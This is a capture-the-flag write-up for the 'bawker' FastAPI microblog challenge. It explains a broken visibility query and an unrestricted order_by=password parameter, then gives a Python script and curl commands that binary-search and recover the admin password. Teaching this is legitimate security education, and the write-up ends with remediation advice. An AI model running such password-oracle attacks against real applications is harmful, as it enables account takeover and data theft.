bawker
bawker
Platform: Bluehensctf | Category: Web | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-22 | Status: Solved Techniques: lexicographic_binary_search, order_by_injection, password_oracle, visibility_bypass
Summary
Task: FastAPI microblog with private admin user storing flag in private post. Solution: Exploit broken visibility condition + hidden order_by=password to create lexicographic oracle, binary-search admin password, login as admin.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
bluehensctf| ID:20260422_bluehensctf_bawker - Tags: fastapi, authorization_bypass, fastapi_filter, plaintext_password, sorting_oracle
- Indicators: fastapi-filter with order_by parameter, plaintext passwords in database, flawed visibility condition without proper JOIN, private user becomes visible after one-way follow
- Source:
20260422_bluehensctf_bawker.md
Foothold
Vulnerability / Misconfiguration
- Lexicographic_binary_search
- Order_by_injection
- Password_oracle
- Visibility_bypass
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- lexicographic_binary_search
- order_by_injection
- password_oracle
- visibility_bypass
- Tags: fastapi, authorization_bypass, fastapi_filter, plaintext_password, sorting_oracle
Original Writeup
<details><summary>Click to expand original content</summary>Description
I vibe coded a twitter alternative
A FastAPI-based microblog platform called "Bawker" (a Twitter clone for hens). The admin user (id=0) is private and has a private "bawk" (post) containing the flag. The goal is to read the admin's private post.
Analysis
Source Code Review
The application is a FastAPI microblog with the following key components:
- Plaintext Password Storage (
app/models/user.py):
class User(SQLModel, table=True):
password: str = Field(min_length=8, max_length=255) # No hashing!
- Admin Bootstrap (
app/db.py):
def _generate_bootstrap_admin_password() -> str:
alphabet = string.ascii_letters + string.digits # [A-Za-z0-9]
return "".join(secrets.choice(alphabet) for _ in range(32))
The admin gets a random 32-character alphanumeric password and is marked as private.
- JWT Secret in Player Distribution: The config shows a hardcoded JWT secret, but this is a red herring — the production instance uses a different secret, making JWT forgery impossible.
The Vulnerability Chain
Bug #1: Broken Visibility Condition (app/routers/pages.py, lines 150-157):
query = select(User).where(or_(
col(User.id) == viewer_id,
not_(col(User.is_private)),
and_(
col(Follow.following_id) == col(User.id),
col(Follow.follower_id) == viewer_id,
)
))
This query references Follow table columns in the WHERE clause without a proper JOIN. In SQLAlchemy/SQLModel, this creates an implicit cross-join. The condition Follow.follower_id == viewer_id becomes true if any follow relationship exists where the viewer is the follower — not necessarily a mutual follow.
Compare with the correct implementation in app/privacy.py:
def follow_condition(viewer_id: int) -> ColumnElement[bool]:
follows_author = exists().where(...)
author_follows_viewer = exists().where(...)
return and_(follows_author, author_follows_viewer) # Requires MUTUAL follow
The /search/users endpoint uses the broken query, meaning:
- After you follow admin (one-way), admin becomes visible in search results
- The correct privacy check requires mutual follow, but the search page doesn't enforce this
Bug #2: Hidden order_by=password (app/filters/user_filter.py):
class UserFilter(Filter):
order_by: list[str] | None = ["username"]
class Constants(Filter.Constants):
model = User
The fastapi-filter library allows ordering by any model field unless explicitly restricted. Since password is a field on the User model, order_by=password is accepted even though the UI doesn't expose it.
The Oracle
Combining these bugs creates a lexicographic comparison oracle:
- Follow admin to make them visible in search
- Create a comparator account with:
bio = "Admin User"(matches admin's bio for search)password = <candidate>(our guess)is_private = True
- Search with
?search=Admin%20User&order_by=password&size=1 - If the first result is our comparator →
comparator_password <= admin_password - If the first result is admin →
comparator_password > admin_password
This enables binary search on each character position.
Solution
Exploit Strategy
- Register a main account and follow admin (user id 0)
- For each of the 32 password characters:
- Binary search through the charset
0-9A-Za-z - Create comparator accounts with candidate passwords
- Use the search oracle to determine ordering
- Login as admin with recovered password
- Fetch admin's private bawks to get the flag
Exploit Script
#!/usr/bin/env python3
"""
BlueHens CTF 2026 - bawker
Lexicographic password oracle via order_by injection
"""
import requests
import string
from typing import Optional
BASE_URL = "http://target:8000"
CHARSET = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
PASSWORD_LENGTH = 32
class BawkerExploit:
def __init__(self, base_url: str):
self.base_url = base_url
self.session = requests.Session()
self.account_counter = 0
def register(self, username: str, password: str, bio: str = "", is_private: bool = False) -> dict:
"""Register a new account"""
resp = self.session.post(f"{self.base_url}/api/auth/register", json={
"username": username,
"password": password,
"display_name": username,
"bio": bio,
"is_private": is_private
})
resp.raise_for_status()
return resp.json()
def login(self, username: str, password: str) -> dict:
"""Login to an account"""
resp = self.session.post(f"{self.base_url}/api/auth/login", json={
"username": username,
"password": password
})
resp.raise_for_status()
return resp.json()
def follow_user(self, user_id: int) -> None:
"""Follow a user by ID"""
resp = self.session.post(f"{self.base_url}/api/users/{user_id}/follow")
resp.raise_for_status()
def search_users_first(self, search: str, order_by: str = "password") -> Optional[dict]:
"""Search users and return the first result"""
resp = self.session.get(f"{self.base_url}/search/users", params={
"search": search,
"order_by": order_by,
"size": 1
})
# Parse from HTML or use API endpoint
# For simplicity, using the API-like response
resp = self.session.get(f"{self.base_url}/api/users", params={
"search": search,
"order_by": order_by,
"size": 1
})
data = resp.json()
if data.get("items"):
return data["items"][0]
return None
def create_comparator(self, password: str) -> str:
"""Create a comparator account with given password"""
self.account_counter += 1
username = f"cmp_{self.account_counter:06d}"
# Create new session for comparator
temp_session = requests.Session()
resp = temp_session.post(f"{self.base_url}/api/auth/register", json={
"username": username,
"password": password,
"display_name": "Comparator",
"bio": "Admin User", # Same as admin's bio
"is_private": True
})
resp.raise_for_status()
return username
def oracle_compare(self, candidate_password: str) -> bool:
"""
Returns True if candidate_password <= admin_password (lexicographically)
"""
# Create comparator with candidate password
self.create_comparator(candidate_password)
# Search and check ordering
# If comparator comes first, candidate <= admin
resp = self.session.get(f"{self.base_url}/search/users", params={
"search": "Admin User",
"order_by": "password",
"size": 1
})
# Check if first result is admin (id=0) or comparator
# If admin is first, candidate > admin password
# If comparator is first, candidate <= admin password
# Parse response to determine first user
# (Implementation depends on response format)
first_user = self._parse_first_user(resp.text)
return first_user != "admin"
def binary_search_char(self, known_prefix: str, position: int) -> str:
"""Binary search for character at given position"""
low, high = 0, len(CHARSET) - 1
# Pad with lowest char to make 32-char password
padding = CHARSET[0] * (PASSWORD_LENGTH - position - 1)
while low < high:
mid = (low + high + 1) // 2
candidate = known_prefix + CHARSET[mid] + padding
if self.oracle_compare(candidate):
# candidate <= admin, so admin char >= CHARSET[mid]
low = mid
else:
# candidate > admin, so admin char < CHARSET[mid]
high = mid - 1
return CHARSET[low]
def recover_password(self) -> str:
"""Recover admin password character by character"""
password = ""
for i in range(PASSWORD_LENGTH):
char = self.binary_search_char(password, i)
password += char
print(f"[+] Position {i+1}/{PASSWORD_LENGTH}: {password}")
return password
def get_flag(self, admin_password: str) -> str:
"""Login as admin and get the flag"""
self.login("admin", admin_password)
resp = self.session.get(f"{self.base_url}/api/bawks")
data = resp.json()
for bawk in data.get("items", []):
if "flag" in bawk.get("content", "").lower():
return bawk["content"]
return "Flag not found"
def main():
exploit = BawkerExploit(BASE_URL)
# Step 1: Register main account
print("[*] Registering main account...")
exploit.register("attacker_main", "password123", "Attacker")
# Step 2: Follow admin to make them visible
print("[*] Following admin (user 0)...")
exploit.follow_user(0)
# Step 3: Recover admin password
print("[*] Starting password recovery...")
admin_password = exploit.recover_password()
print(f"[+] Recovered admin password: {admin_password}")
# Step 4: Login as admin and get flag
print("[*] Logging in as admin...")
flag = exploit.get_flag(admin_password)
print(f"[+] Flag: {flag}")
if __name__ == "__main__":
main()
Manual Verification
After recovering the admin password through the oracle:
Recovered password: NuNyouq2QPCN2zvW5y6WsPWfyVuCXx26
Login as admin:
curl -X POST "$URL/api/auth/login" \
-H "Content-Type: application/json" \
-d '{"username":"admin","password":"NuNyouq2QPCN2zvW5y6WsPWfyVuCXx26"}'
Fetch admin's private bawks:
curl "$URL/api/bawks" -b "bawker_token=<token>"
Response:
{
"items": [{
"content": "Hello, the flag is: UDCTF{REDACTED}",
"is_private": true,
"author_id": 0
}]
}
Remediation
- Hash passwords: Never store plaintext passwords. Use bcrypt, argon2, or scrypt.
- Restrict order_by fields: Explicitly whitelist allowed sorting fields in fastapi-filter.
- Consistent authorization: Use the same visibility logic everywhere (the
visible_user_conditionfunction exists but wasn't used in/search/users). - Proper JOINs: Always use
exists()subqueries or explicit JOINs when checking relationships. - Rate limiting: Limit account creation and search requests to slow down oracle attacks.
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR